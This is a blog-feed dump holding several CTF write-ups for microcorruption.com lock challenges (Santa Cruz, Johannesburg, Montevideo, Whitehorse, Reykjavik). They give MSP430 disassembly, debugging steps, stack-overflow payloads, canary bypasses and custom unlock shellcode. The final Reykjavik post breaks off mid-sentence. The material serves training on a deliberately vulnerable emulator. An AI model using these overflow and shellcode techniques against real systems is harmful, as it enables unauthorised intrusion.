\u0026lt;puts\u0026gt; For this next section, it looks like the stack is being setup for syscall 0x7d to be called. Depending on the result, unlock_door would be called or a message would simply be printed saying that the password was incorrect.\n464c: c493 faff tst.b -0x6(r4) 4650: 0624 jz #0x465e \u0026lt;login+0x10e\u0026gt; 4652: 1f42 0024 mov \u0026amp;0x2400, r15 4656: b012 2847 call #0x4728 \u0026lt;puts\u0026gt; 465a: 3040 4044 br #0x4440 \u0026lt;__stop_progExec__\u0026gt; 465e: 3150 2800 add #0x28, sp 4662: 3441 pop r4 4664: 3b41 pop r11 4666: 3041 ret Before we leave the routine, a final check is done with tst.b -0x6(r4). If the value at the memory address at this time is zero, the function would return as normal (based on the jz instruction), otherwise, another abrupt stop would occur.\nFrom the static analysis we can see that three distinct checks are being done. An upper and lower bounds check and an arbitrary null byte check. Time to fuzz the inputs and see how that works out.\ndebugging Now the very first thing I did here was supply inputs that were longer than the prescribed 16 bytes. A 20 byte username and 20 byte password promptly failed and caused the program to print a \u0026ldquo;password too short\u0026rdquo; message and end.\n  Erm. Wat. I expected the password too long message, not too short? Alright. I figured what would be a better approach would be to first have a look at what a valid run through looks like. Primarily this was to get an idea of what the memory layout looks like when the bounds checks we have identified are being done. I set a breakpoint at 0x45d0 right after the second strcpy call so that I could see what the memory layout would be together with inputs that were 10 bytes long (aka: within the size limits).\n  There are a number of observations to make here. The username buffer (which I provided as 10 41\u0026rsquo;s) is padded with zeros up to 0x43b3, and the password buffer (which I provided as 10 42\u0026rsquo;s) is padded with zeros up to 0x43cc. At 0x43cc we have 0x4440, which is the start of the __stop_progExec__ routine. Between the username and password buffers are the two bytes that were set very early in the login routine.\nFinally, given the first attempt to just provide inputs that were clearly too long, we smashed the 0x8 and 0x10 values, meaning we control those values!\nStepping through the rest of login one can see the bytes 0x8 and 0x10 are used within the bounds checks. This does however seem to only be the case for the password field.\n  As a final test, I provided a username of 50 44\u0026rsquo;s and a password of 9 41\u0026rsquo;s. The username overrode the two bytes used for bounds checking, as well as the suspected return address for login. The password however was placed at a static offset at 0x43b4 and terminated with a null byte inside of the username buffer.\nIt seemed clear at this stage that all I would need to do was set my own values for the password buffer lengths and corrupt the memory past the return address, redirecting the code flow to something like unlock_door.\nGiven that the bytes used for bounds checking was at offsets 18 and 19 from where the password buffer started, I chose to place the values 0x1 and 0x99 as the new min/max values. I then continued to overflow the buffer, hoping to replace the address login would return to to 0x4242 to test if I can reach it.\npython -c \u0026#34;print(\u0026#39;41\u0026#39; * 17 + \u0026#39;0199\u0026#39; + 30 * \u0026#39;42\u0026#39;)\u0026#34; 41414141414141414141414141414141410199424242424242424242424242424242424242424242424242424242424242 With my username payload ready, I simply provided two bytes for the password as 4343.\n  This time round, I passed the two bounds checks that occur between 0x45ec and 0x460c. The HSM did not validate the password I provided (no surprise there), but after the That password is not correct., another Invalid Password Length: password too long. message was printed. This has to be as a result of that tst.b -0x6(r4) call towards the end of login.\nSetting a breakpoint at 0x464c, I inspected the memory contents that was being tested. For reference, lets have one more look at the end of the login routine as well:\n464c: c493 faff tst.b -0x6(r4) 4650: 0624 jz #0x465e \u0026lt;login+0x10e\u0026gt; 4652: 1f42 0024 mov \u0026amp;0x2400, r15 4656: b012 2847 call #0x4728 \u0026lt;puts\u0026gt; 465a: 3040 4044 br #0x4440 \u0026lt;__stop_progExec__\u0026gt; 465e: 3150 2800 add #0x28, sp 4662: 3441 pop r4 4664: 3b41 pop r11 4666: 3041 ret In order for us to take the jump at 0x4650 to 0x465e (bypassing the abrupt stop), we need to have the byte at -0x6(r4) be null.\n  Running the program with our 4343 payload as the password, we can see we have a 42 at 0x43c6 (which is 0x43cc - 0x6). We know that the end of our username and password buffers have null bytes in memory, so we could use that to get this final null byte written for the check to pass.\nWe two options here. We could use the username field to overflow up to where the null byte should be written, and then provide the rest of the payload as the password field as one option. We could also use the password field to simply pad up to the null byte field and have that written there, keeping our primary payload in the username field. I opted for the latter. Inspecting the memory layout, one can see that the null byte should be at offset 18 from the start of the password buffer.\nGenerating the username payload was now done as follows:\n$ python -c \u0026#34;print(\u0026#39;41\u0026#39; * 17 + \u0026#39;0199\u0026#39; + \u0026#39;44\u0026#39; * 30)\u0026#34; 41414141414141414141414141414141430199444444444444444444444444444444444444444444444444444444444444 The password payload on the other hand was (with an expectation of a nullbyte at pos 18):\n$ python -c \u0026#34;print(\u0026#39;42\u0026#39; * 17)\u0026#34; 4242424242424242424242424242424242   Woohoo! The byte at 0x43c6 is now 0x0, bypassing the check. If we were to continue execution at this point, we would end up at invalid instructions and a message such as insn address unaligned within the debugger. This is good news!\nThe only thing that is left for us to do is to set the address to jump to when login returns. This was at offset 23 from the username buffer. A routine called unlock_door started at 0x444a (so 4a44 for endianness) which called the correct interrupt to unlock the lock. So, keeping our password field as is, we generate the username with:\n$ python -c \u0026#34;print(\u0026#39;41\u0026#39; * 17 + \u0026#39;0199\u0026#39; + \u0026#39;44\u0026#39; * 23 + \u0026#39;4a44\u0026#39;)\u0026#34; 4141414141414141414141414141414141019944444444444444444444444444444444444444444444444a44   solution Enter 41414141414141414141414141414141430199444444444444444444444444444444444444444444444444444444444444 as hex encoded input for the username and 4242424242424242424242424242424242 as hex encoded input for the password.\nother challenges For my other write ups in the microcorruption series, checkout this link.\n","permalink":"https://leonjza.github.io/blog/2018/03/11/microcorruption-santa-cruz/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/microcorruption/microcorruption.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThis post is part of the series of solving \u003ca href=\"https://microcorruption.com\"\u003emicrocorruption.com\u003c/a\u003e ctf challenges which continues from the \u003ca href=\"https://leonjza.github.io/blog/2018/03/09/microcorruption---johannesburg/\"\u003eprevious challenge\u003c/a\u003e called \u003cem\u003eJohannesburg\u003c/em\u003e. This challenge is titled \u003cem\u003eSanta Cruz\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eThe challenge has the following description when you start:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThis is Software Revision 05. We have added further mechanisms to verify that passwords which are too long will be rejected.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eMaybe we are finally done with the overflow problems? This challenge took me quite a bit of time to solve thanks to the new checks that were introduced. Like, a really long time. Lets go through the process.\u003c/p\u003e","title":"microcorruption - santa cruz"},{"content":"  This post is part of the series of solving microcorruption.com ctf challenges which continues from the previous challenge called Montevideo. This challenge is titled Johannesburg.\nThe challenge has the following description when you start:\n This is Software Revision 04. We have improved the security of the lock by ensuring passwords that are too long will be rejected.\n Alright. This might mean that we are done with the overflow challenges? Lets dive in!\njohannesburg Just like we have seen in a number of previous challenges now, Johannesburg follows a similar structure with the main routine simply calling login. Within the login routine a number of steps are taken.\n452c \u0026lt;login\u0026gt; [.. get the password with getsn ..] 4552: 3e40 0024 mov #0x2400, r14 4556: 0f41 mov sp, r15 ; maybe copying the password to a different location ; in memory again. 4558: b012 2446 call #0x4624 \u0026lt;strcpy\u0026gt; 455c: 0f41 mov sp, r15 ; check the password. routine issues syscall 0x7d which ; will ask the HSM to validate. 455e: b012 5244 call #0x4452 \u0026lt;test_password_valid\u0026gt; 4562: 0f93 tst r15 4564: 0524 jz #0x4570 \u0026lt;login+0x44\u0026gt; 4566: b012 4644 call #0x4446 \u0026lt;unlock_door\u0026gt;  [.. messages about the status of the unlock ..] ; ooh, interesting random single byte compare? Seems like ; this is specifically for a length check. lol. 4578: f190 6a00 1100 cmp.b #0x6a, 0x11(sp) 457e: 0624 jeq #0x458c \u0026lt;login+0x60\u0026gt; 4580: 3f40 ff44 mov #0x44ff \u0026#34;Invalid Password Length: password too long.\u0026#34;, r15 4584: b012 f845 call #0x45f8 \u0026lt;puts\u0026gt; 4588: 3040 3c44 br #0x443c \u0026lt;__stop_progExec__\u0026gt; 458c: 3150 1200 add #0x12, sp 4590: 3041 ret Everything seems to be pretty much as expected, apart from the byte compare that happens at 0x4578. The instruction at 0x4578 compares the byte that is at sp + 0x11 with 0x6a, just like a static stack canary.\nTo inspect this a little closer, I set a breakpoint at the cmp.b instruction with break 4578 and entered 20 41\u0026rsquo;s as a hex encoded password.\n  Stepping through the program to pass the jeq instruction saw that the program would not take the jump and continue to print the message about the password being too long. Inspecting the memory with read sp+11 also showed that the byte contained 41, which will cause the cmp.b to fail.\nTo bypass this check, all we need to do is provide 0x6a in the correct position so that the cmp.b will be equal. Inspecting the memory (as well as the instruction 0x11(sp)), we can see this is at offset 17. All we need to do is pad the password payload and provide 0x6a as the 17th byte.\npython -c \u0026#34;print(\u0026#39;41\u0026#39; * 0x11 + \u0026#39;6A\u0026#39; + \u0026#39;42\u0026#39; * 10)\u0026#34; 41414141414141414141414141414141416A42424242424242424242   Once the canary check has passed, the code flow jumps to 0x458c which adds 0x12 to the stack pointer which also happens to be right after the canary value. Considering we have a nice helper routine to unlock the lock at 0x4446, all we need to do is provide that (little endian formatted) address to jump to and profit.\npython -c \u0026#34;print(\u0026#39;41\u0026#39; * 0x11 + \u0026#39;6A\u0026#39; + \u0026#39;4644\u0026#39;)\u0026#34; 41414141414141414141414141414141416A4644   solution Enter 41414141414141414141414141414141416A4644 as hex encoded input.\nother challenges For my other write ups in the microcorruption series, checkout this link.\n","permalink":"https://leonjza.github.io/blog/2018/03/09/microcorruption-johannesburg/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/microcorruption/microcorruption.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThis post is part of the series of solving \u003ca href=\"https://microcorruption.com\"\u003emicrocorruption.com\u003c/a\u003e ctf challenges which continues from the \u003ca href=\"https://leonjza.github.io/blog/2018/03/07/microcorruption---whitehorse/\"\u003eprevious challenge\u003c/a\u003e called \u003cem\u003eMontevideo\u003c/em\u003e. This challenge is titled \u003cem\u003eJohannesburg\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eThe challenge has the following description when you start:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThis is Software Revision 04. We have improved the security of the lock by ensuring passwords that are too long will be rejected.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eAlright. This might mean that we are done with the overflow challenges? Lets dive in!\u003c/p\u003e","title":"microcorruption - johannesburg"},{"content":"  This post is part of the series of solving microcorruption.com ctf challenges which continues from the previous challenge called Whitehorse. This challenge is titled Montevideo.\nThe challenge has the following description when you start:\n This is Software Revision 03. We have received unconfirmed reports of issues with the previous series of locks. We have reimplemented much of the code according to our internal Secure Development Process.\n Cool. So this one is going to be unbreakable right? Lets see!\nmontevideo Montevideo follows a similar code pattern when compared to some of the previous challenges we have done where a simple main routine calls login. Looking at login itself we can see a few new things:\n44f4 \u0026lt;login\u0026gt; [.. typical getsn call to get the password ..] ; strcpy, thats new! 451a: b012 dc45 call #0x45dc \u0026lt;strcpy\u0026gt; 451e: 3d40 6400 mov #0x64, r13 4522: 0e43 clr r14 4524: 3f40 0024 mov #0x2400, r15  ; memset is also an interesting one! 4528: b012 f045 call #0x45f0 \u0026lt;memset\u0026gt; 452c: 0f41 mov sp, r15 ; probably checks the password again 452e: b012 4644 call #0x4446 \u0026lt;conditional_unlock_door\u0026gt; 4532: 0f93 tst r15 [.. some messages printed to tell if you unlocked or not ..] 4544: 3150 1000 add #0x10, sp 4548: 3041 ret The calls to strcpy and memset immediately jumped out at me here. I also figured since there is mention of the password size again the bug here might be related to a stack overflow too. To test this, I threw in like 30 A\u0026rsquo;s into the password field to see if the program breaks.\n   insn address unaligned\n Nice! The program counter (pc) has 0x4141 which most probably comes from our longer-than-its-supposed-to-be password we supplied. With this bug in mind, I quickly had a look at the other routines to see if there is anything interesting happening there. I set up a total of four breakpoints at the following locations:\n 0x4510 at getsn 0x451a at strcpy 0x4528 at memset 0x452e at conditional_unlock_door  Inspecting these routines manually, as well as the memory layout after each function had me draw the following conclusions:\n After getsn is done, the password buffer lives at 0x2400 in memory. Once strcpy is done, the password buffer at 0x2400 is copied into a buffer that starts at 0x43ef. After memset is done, the password buffer at 0x2400 is zeroed out. After conditional_unlock_door with a too long password buffer, the stack is corrupt and the return address to main overridden.  It seems like this challenge is pretty much exactly the same as previous Whitehorse challenge? The conditional_unlock_door routine calls syscall 0x7e, so with our overflow this is not a useful location to jump to as the \u0026ldquo;HSM\u0026rdquo; will validate the password. So, like the previous one, we just need a spot to slide in some shellcode.\nBefore we can supply the shellcode though, we need to find out where we are overriding and corrupting the stack for that ret instruction. For this, I just supplied a bunch of A\u0026rsquo;s and B\u0026rsquo;s and found that at position 17 and 18 again we have control over the programs execution flow.\n  Next, we choose a location in memory where our password buffer is as the address we should jump to (as a result of the ret) which should also be the start of our shellcode. I simply copied the unlock shellcode from Whitehorse which was 30127f00b0123245. The shellcode itself needs a little work though as the address to the INT routine would be different here.\nTo help with the shellcode modifications we need to do, we can use the assembler/dissasembler provided on microcorruption.com here. Grab the opcodes that form part of our shellcode, paste them into the input box and hit disassemble. Now, with the ASM mnemonics in the input box, update the address to call to 0x454c as that is where it lives in this challenge. Finally, hit assemble and be presented with your shellcode :D\n  I figured a good spot to jump to our shellcode would be just after the ret address at 0x4400, so, my password payload was now going to be:\n# ret is 0x4400, so 0044 little endian [padding to ret] + [ret] + [shellcode] --------------------------------------------- 41 * 16 + 0044 + 30127f00b0124c45 = # final password payload 41414141414141414141414141414141004430127f00b0124c45 Sending this password payload, and inspecting the program after a breakpoint at 0x4548 left the program in a confusing state.\n  It was clear that the jump to 0x4400 was taken as the program counter (pc) was there, but, my shellcode was missing. Well\u0026hellip; if you have ever dealt with strcpy before, you may have spotted that this was going to happen as soon as I chose 0x4400 as the address to jump to, as that address contains a nullbyte which is a string terminator for strcpy. Easy fix really, just move along two bytes to avoid a 0x00 byte in our payload. With a two byte shift, our password payload looks something like this now:\n[padding to ret] + [ret] + [pad] + [shellcode] ----------------------------------------------------- 41 * 16 + 0244 + 4242 + 30127f00b0124c45 414141414141414141414141414141410244424230127f00b0124c45   Snap. We have made some progress, but there is still a null byte in our shellcode because of the opcodes that form part of the push #0x7f instruction (3012 7f00). We need to get rid of the 0x00 byte. We can simply modify the shellcode to use any other instructions that will eventually push the value 0xf7 to the stack. Think of things like moving a large value into a register, performing arithmetic and then moving the resultant register value onto the stack instead of the original value as is.\nI used existing instructions in the program as a reference for ideas on how I can modify the shellcode to avoid null bytes. This was the final shellcode I got to work using the disassembler here:\nmov #0x117e, r9 sub #0x10ff, r9 push r9 call #0x454c First, I took a large 2 byte value of 0x117e and moved that to r9. I then took a calculator and subtracted the desired value of 0x7f from 0x117e and got to 0x10ff. That resulted in my second instruction of sub #0x10ff, r9 which should leave the value 0x7f in register r9. Finally, just push r9 onto the stack and call INT.\n  So now, my final password payload looks as follows:\npython -c \u0026#34;print(\u0026#39;41\u0026#39; * 16 + \u0026#39;0244\u0026#39; + \u0026#39;4242\u0026#39; + \u0026#39;39407e113980ff100912b0124c45\u0026#39;)\u0026#34; 414141414141414141414141414141410244424239407e113980ff100912b0124c45   Works! r9 ends up as 0x7f, pushed to the stack and INT is called to unlock the lock.\nsolution Enter 414141414141414141414141414141410244424239407e113980ff100912b0124c45 as hex encoded input.\nother challenges For my other write ups in the microcorruption series, checkout this link.\n","permalink":"https://leonjza.github.io/blog/2018/03/08/microcorruption-montevideo/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/microcorruption/microcorruption.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThis post is part of the series of solving \u003ca href=\"https://microcorruption.com\"\u003emicrocorruption.com\u003c/a\u003e ctf challenges which continues from the \u003ca href=\"https://leonjza.github.io/blog/2018/03/07/microcorruption---whitehorse/\"\u003eprevious challenge\u003c/a\u003e called \u003cem\u003eWhitehorse\u003c/em\u003e. This challenge is titled \u003cem\u003eMontevideo\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eThe challenge has the following description when you start:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThis is Software Revision 03. We have received unconfirmed reports of issues with the previous series of locks. We have reimplemented much of the code according to our internal Secure Development Process.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eCool. So this one is going to be unbreakable right? Lets see!\u003c/p\u003e","title":"microcorruption - montevideo"},{"content":"  This post is part of the series of solving microcorruption.com ctf challenges which continues from the previous challenge called Reykjavik. This challenge is titled Whitehorse.\nThis challenge has the following description towards the bottom:\n This is Software Revision 01. The firmware has been updated to connect with the new hardware security module. We have removed the function to unlock the door from the LockIT Pro firmware.\n Not a lot of information to go on. Lets dig into the code to learn more.\nwhitehorse For whitehorse, the main routine had a familiar setup where it simply called login.\n4438 \u0026lt;main\u0026gt; 4438: b012 f444 call #0x44f4 \u0026lt;login\u0026gt; The login routine in turn did not have any particularly interesting logic in it either other than a call to conditional_unlock_door at 0x4514. This routine seems to just get a password via a syscall, run conditional_unlock_door and print a message of \u0026ldquo;Access granted.\u0026quot; or \u0026ldquo;That password is not correct.\u0026quot; depending on the result of the tst r15 call.\n44f4 \u0026lt;login\u0026gt; 44f4: 3150 f0ff add #0xfff0, sp 44f8: 3f40 7044 mov #0x4470 \u0026#34;Enter the password to continue.\u0026#34;, r15 44fc: b012 9645 call #0x4596 \u0026lt;puts\u0026gt; 4500: 3f40 9044 mov #0x4490 \u0026#34;Remember: passwords are between 8 and 16 characters.\u0026#34;, r15 4504: b012 9645 call #0x4596 \u0026lt;puts\u0026gt; 4508: 3e40 3000 mov #0x30, r14 450c: 0f41 mov sp, r15 450e: b012 8645 call #0x4586 \u0026lt;getsn\u0026gt; 4512: 0f41 mov sp, r15 4514: b012 4644 call #0x4446 \u0026lt;conditional_unlock_door\u0026gt; 4518: 0f93 tst r15 ; notice that there does not seem to be any logic to unlock here? 451a: 0324 jz #0x4522 \u0026lt;login+0x2e\u0026gt; 451c: 3f40 c544 mov #0x44c5 \u0026#34;Access granted.\u0026#34;, r15 4520: 023c jmp #0x4526 \u0026lt;login+0x32\u0026gt; 4522: 3f40 d544 mov #0x44d5 \u0026#34;That password is not correct.\u0026#34;, r15 4526: b012 9645 call #0x4596 \u0026lt;puts\u0026gt; 452a: 3150 1000 add #0x10, sp 452e: 3041 ret Weird, no syscall to unlock the lock? Lets see what conditional_unlock_door does:\n4446 \u0026lt;conditional_unlock_door\u0026gt; 4446: 0412 push r4 4448: 0441 mov sp, r4 444a: 2453 incd r4 444c: 2183 decd sp 444e: c443 fcff mov.b #0x0, -0x4(r4) 4452: 3e40 fcff mov #0xfffc, r14 4456: 0e54 add r4, r14 4458: 0e12 push r14 445a: 0f12 push r15 445c: 3012 7e00 push #0x7e 4460: b012 3245 call #0x4532 \u0026lt;INT\u0026gt; 4464: 5f44 fcff mov.b -0x4(r4), r15 4468: 8f11 sxt r15 446a: 3152 add #0x8, sp 446c: 3441 pop r4 446e: 3041 ret Errr, also pretty boring. This routine eventually does syscall 0x7e though. In the lock\u0026rsquo;s manual, 0x7e is described as:\n Interface with the HSM-2. Trigger the deadbolt unlock if the password is correct.\n So it seems like this syscall might be the only logic we have to unlock the lock. Problem is though, the \u0026ldquo;HSM\u0026rdquo; is confirming the password validation here.\nDigging a bit further, I decided to enter a password that was again larger than the suggested \u0026ldquo;8 to 16 characters\u0026rdquo;.\n  Well looksy there! A stack overflow from the password field as the stack pointer (sp) points to 0x36ca when the login function wants to return, meaning we can redirect the flow of code execution as we wish! There is just one problem here. We don\u0026rsquo;t have any useful code we can jump to. The instruction at 0x445c uses sycall 0x7e, which asks the HSM to confirm the password.\nSo what can we do? Well, we control a number of bytes in the password buffer, what if we jump to our own opcodes (shellcode)? :)\nTo write the correct instructions needed to open the lock, we need to have read the locks manual and know that doing a syscall with interrupt number 0x7f will open the lock (without some fancy pants HSM trying to verify anything). If you were paying attention in the previous challenges you may have also noticed that 0xf7 was used to unlock the lock there.\nFrom the locks manual and some of the challenges we have done up until now, we know that we need to simply push the interrupt number onto the stack that we want to call. This challenge already contains the opcodes we need for that too in the conditional_unlock_door routine, so its really easy to just copy/paste and modify those to suit our needs.\n445c: 3012 7e00 push #0x7e 4460: b012 3245 call #0x4532 \u0026lt;INT\u0026gt; For reference, you can use the online disassembler again, pasting the 8 raw bytes and reading the disassembly as you modify them to make sure you are on the right track. In reality, all we want to do really is swap the 0x7e for an 0x7f.\n  Our final opcodes for our custom shellcode would be:\n3012 7f00 b012 3245 Easy! That means the shellcode to unlock the lock will be 30127f00b0123245 within the password we provide. The size of our shellcode is exactly 8 bytes, meaning it fits comfortably within the password buffer, right before we corrupt the stack. That solves the shellcode we want to use, but how do we get there? That is actually really easy. :)\n  While debugging the program, you will see that the password buffer always starts at 0x36ba. We can also see that bytes 17 and 18 corrupt the stack causing that ret instruction to jump to an address we control, so all we should be doing is pad the password input with enough bytes so that position 17 and 18 can slide in 0x36ba as the final 2 bytes of our payload.\n$ python \u0026gt;\u0026gt;\u0026gt; shellcode = \u0026#34;30127f00b0123245\u0026#34; \u0026gt;\u0026gt;\u0026gt; pad_char = \u0026#34;41\u0026#34; \u0026gt;\u0026gt;\u0026gt; ret = \u0026#34;ba36\u0026#34; \u0026gt;\u0026gt;\u0026gt; \u0026gt;\u0026gt;\u0026gt; print(shellcode + (pad_char * 8) + ret) 30127f00b01232454141414141414141ba36   With our final payload which includes custom shellcode to unlock the lock, we can see the ret causes a jmp to 0x36ba, where syscall 0x7f is prepared and called.\nsolution Enter 30127f00b01232454141414141414141ba36 as hex encoded input.\nother challenges For my other write ups in the microcorruption series, checkout this link.\n","permalink":"https://leonjza.github.io/blog/2018/03/07/microcorruption-whitehorse/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/microcorruption/microcorruption.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThis post is part of the series of solving \u003ca href=\"https://microcorruption.com\"\u003emicrocorruption.com\u003c/a\u003e ctf challenges which continues from the \u003ca href=\"https://leonjza.github.io/blog/2018/03/06/microcorruption---reykjavik/\"\u003eprevious challenge\u003c/a\u003e called \u003cem\u003eReykjavik\u003c/em\u003e. This challenge is titled \u003cem\u003eWhitehorse\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eThis challenge has the following description towards the bottom:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThis is Software Revision 01. The firmware has been updated to connect with the new hardware security module. We have removed the function to unlock the door from the LockIT Pro firmware.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eNot a lot of information to go on. Lets dig into the code to learn more.\u003c/p\u003e","title":"microcorruption - whitehorse"},{"content":"  This post is part of the series of solving microcorruption.com ctf challenges which continues from the previous challenge called Cusco. This challenge is titled Reykjavik.\nThis challenge has the following description towards the bottom:\n This is Software Revision 02. This release contains military-grade encryption so users can be confident that the passwords they enter can not be read from memory. We apologize for making it too easy for the password to be recovered on prior versions. The engineers responsible have been sacked.\n Rough. But ok, time to see of its better this time. Also, \u0026ldquo;military-grade encryption\u0026rdquo;, hah! :P\nreykjavik The main routine this time is a quite a bit different when compared to the previous challenges:\n4438 \u0026lt;main\u0026gt; 4438: 3e40 2045 mov #0x4520, r14 443c: 0f4e mov r14, r15 443e: 3e40 f800 mov #0xf8, r14 4442: 3f40 0024 mov #0x2400, r15 4446: b012 8644 call #0x4486 \u0026lt;enc\u0026gt;  ; once enc is done, call something without a label? 444a: b012 0024 call #0x2400 444e: 0f43 clr r15 Only two call\u0026rsquo;s are made in main, of which the second has no label.\nThe enc routine has quite a bit of logic though. Taking a closer, annotated look at the enc routine as I was performing a static analysis resulted in the following:\n4486 \u0026lt;enc\u0026gt; 4486: 0b12 push r11 4488: 0a12 push r10 448a: 0912 push r9 448c: 0812 push r8 ; clearing r13, might mean that the instruction at ; 4490 will move a 0x0 byte into 0x247c, indicating ; the start of a loop  448e: 0d43 clr r13 4490: cd4d 7c24 mov.b r13, 0x247c(r13) 4494: 1d53 inc r13 ; this looks like a loop that will continue until ; r13 is incremented up to 0x0100 (256). interestingly ; that is bytes 0x00 to 0xff...  4496: 3d90 0001 cmp #0x100, r13 449a: fa23 jne #0x4490 \u0026lt;enc+0xa\u0026gt;  ; not sure what this is preparing for yet, but it looks ; like r11 is being setup for a loop here.  449c: 3c40 7c24 mov #0x247c, r12 44a0: 0d43 clr r13 44a2: 0b4d mov r13, r11 44a4: 684c mov.b @r12, r8 44a6: 4a48 mov.b r8, r10 44a8: 0d5a add r10, r13 44aa: 0a4b mov r11, r10 ; some arithmetic. maybe an indication of a decrypt of ; some sorts or a simple byte swap happening here, needs ; debugger  44ac: 3af0 0f00 and #0xf, r10 44b0: 5a4a 7244 mov.b 0x4472(r10), r10 44b4: 8a11 sxt r10 44b6: 0d5a add r10, r13 44b8: 3df0 ff00 and #0xff, r13 44bc: 0a4d mov r13, r10 44be: 3a50 7c24 add #0x247c, r10 44c2: 694a mov.b @r10, r9 44c4: ca48 0000 mov.b r8, 0x0(r10) 44c8: cc49 0000 mov.b r9, 0x0(r12) 44cc: 1b53 inc r11 44ce: 1c53 inc r12 ; the loop with r11 for another 256 bytes  44d0: 3b90 0001 cmp #0x100, r11 44d4: e723 jne #0x44a4 \u0026lt;enc+0x1e\u0026gt;  44d6: 0b43 clr r11 44d8: 0c4b mov r11, r12 44da: 183c jmp #0x450c \u0026lt;enc+0x86\u0026gt; 44dc: 1c53 inc r12 44de: 3cf0 ff00 and #0xff, r12 44e2: 0a4c mov r12, r10 44e4: 3a50 7c24 add #0x247c, r10 44e8: 684a mov.b @r10, r8 44ea: 4b58 add.b r8, r11 44ec: 4b4b mov.b r11, r11 44ee: 0d4b mov r11, r13 44f0: 3d50 7c24 add #0x247c, r13 44f4: 694d mov.b @r13, r9 44f6: cd48 0000 mov.b r8, 0x0(r13) 44fa: ca49 0000 mov.b r9, 0x0(r10) 44fe: 695d add.b @r13, r9 4500: 4d49 mov.b r9, r13 ; probably the actual decryption taking place here, as ; r15 (which was set in main) is used as an offset.  4502: dfed 7c24 0000 xor.b 0x247c(r13), 0x0(r15) 4508: 1f53 inc r15 ; decrement r14 until we get to 0, which will prevent the ; jmp back up from being taken, ending the routine.  ; r14 was set to to 0xf8 (248) in main, so that might mean ; that the decrypted bytes is 248 long.  450a: 3e53 add #-0x1, r14 450c: 0e93 tst r14 450e: e623 jnz #0x44dc \u0026lt;enc+0x56\u0026gt; 4510: 3841 pop r8 4512: 3941 pop r9 4514: 3a41 pop r10 4516: 3b41 pop r11 4518: 3041 ret As you can see, this is a busy routine. There is very clearly some form of byte write, swapping and xor occurring as expected. Some key points to note though is that the memory location 0x2400 that was written to r15 in main is used as a starting offset for an xor instruction occurring within enc. So, that is definitely an interesting location to watch as we debug this routine.\ndebugging To gain a better understanding of what is happening in enc, I set a breakpoint at the entry point of this routine with break 4486. Then continuing the CPU and manually stepping through the instructions while watching what happens around memory address 0x2400 revealed the following:\n  It looks like a payload already lives from 0x2400 and a range of bytes from 0x00 to 0xff is written from 0x247c onwards.\n  This memory state is achieved right after this loop has completed and the jump at 0x449a is not taken. Alright. Lets move on. The next loop also does a whole bunch of manipulations on the byte range that was just written to memory (and a few other things). There are some weird instructions like the mov.b r11,r11 at 0x44ec that I couldn\u0026rsquo;t quite understand, but nonetheless.\nThe most important thing to see in this loop is that the bytes at 0x2400 are XOR\u0026rsquo;d with those at 0x24f9 when the xor.b 0x247c(r13), 0x0(r15) instruction is called the first time. The second time, 0x247c(r13) calculates to 0x24b6, which is the next XOR.\n  This loop continues until r14 reaches zero, and the registers before the call to enc is restored and the function returns. At this stage, the memory contents at 0x2400 looks as follows (which should now be the decrypted contents):\n  At this stage its pretty clear that the call to jump to 0x2400 in main was because then the encrypted opcodes would be available there and further processing should take place. Now, reading the opcodes like that from a memory dump sucks. So, to make it a little more digestible, I slapped the dump into https://onlinedisassembler.com. The process was pretty simple; select the memory dump from microcorruption, paste it into a file, cleanup the dump with cat dump | cut -d\u0026quot; \u0026quot; -f2-11 and paste that result into the RAW section in the disassembler. Finally, set the architecture to MSP430 and profit!\n  After pasting that into the disassembler, I quickly realised that the whole payload might not be valid code for this section. After the ret the instructions became pretty crazy, so I just removed those. The final opcodes I used (which was ~256 bytes when counted with cat dump.raw | tr -d ' ' | wc -c) were:\n0b12 0412 0441 2452 3150 e0ff 3b40 2045 073c 1b53 8f11 0f12 0312 b012 6424 2152 6f4b 4f93 f623 3012 0a00 0312 b012 6424 2152 3012 1f00 3f40 dcff 0f54 0f12 2312 b012 6424 3150 0600 b490 db01 dcff 0520 3012 7f00 b012 6424 2153 3150 2000 3441 3b41 3041 1e41 0200 0212 0f4e 8f10 024f 32d0 0080 b012 1000 3241 3041 Anyways, I could now step through these instructions in the debugger, and have a disassembled reference I could refer to and see what is happening. The opcodes in the online disassembler would also correspond with those on microcorruption at the top right section which helped confirm that I was on the right track.\nStepping through each instruction, annotating what I thought was happening helped me understand what was going on. After a few rounds of running the routine, the following instructions were the most interesting as they were the instructions called just before it would jump away from the unlocking logic.\ncmp #0x1db, -0x24(r4) jnz $+0xc I needed to see what is happening at -0x24(r4) and see if I can control that value. To help me locate the memory location of the data used for the cmp, I had to do a little offset calculation. First, the cmp instruction was at 0x2448, found by simply looking at the program counter (pc) as I debugged the routine. A breakpoint here let me inspect the registers and perform the offset calculations needed to know what data was used in the cmp. Register r4 contained 0x43fe which is 17406, so taking 0x24 (36) from that ends you up with 0x43fe.\n\u0026gt;\u0026gt;\u0026gt; 0x43fe 17406 \u0026gt;\u0026gt;\u0026gt; 0x43fe-36 17370 \u0026gt;\u0026gt;\u0026gt; hex(0x43fe-36) \u0026#39;0x43da\u0026#39;   The data at 0x43da was the start of my password buffer, which is effectively what is being used in the cmp instruction. Making sure my password entered started with 0xdb01 (remember, little 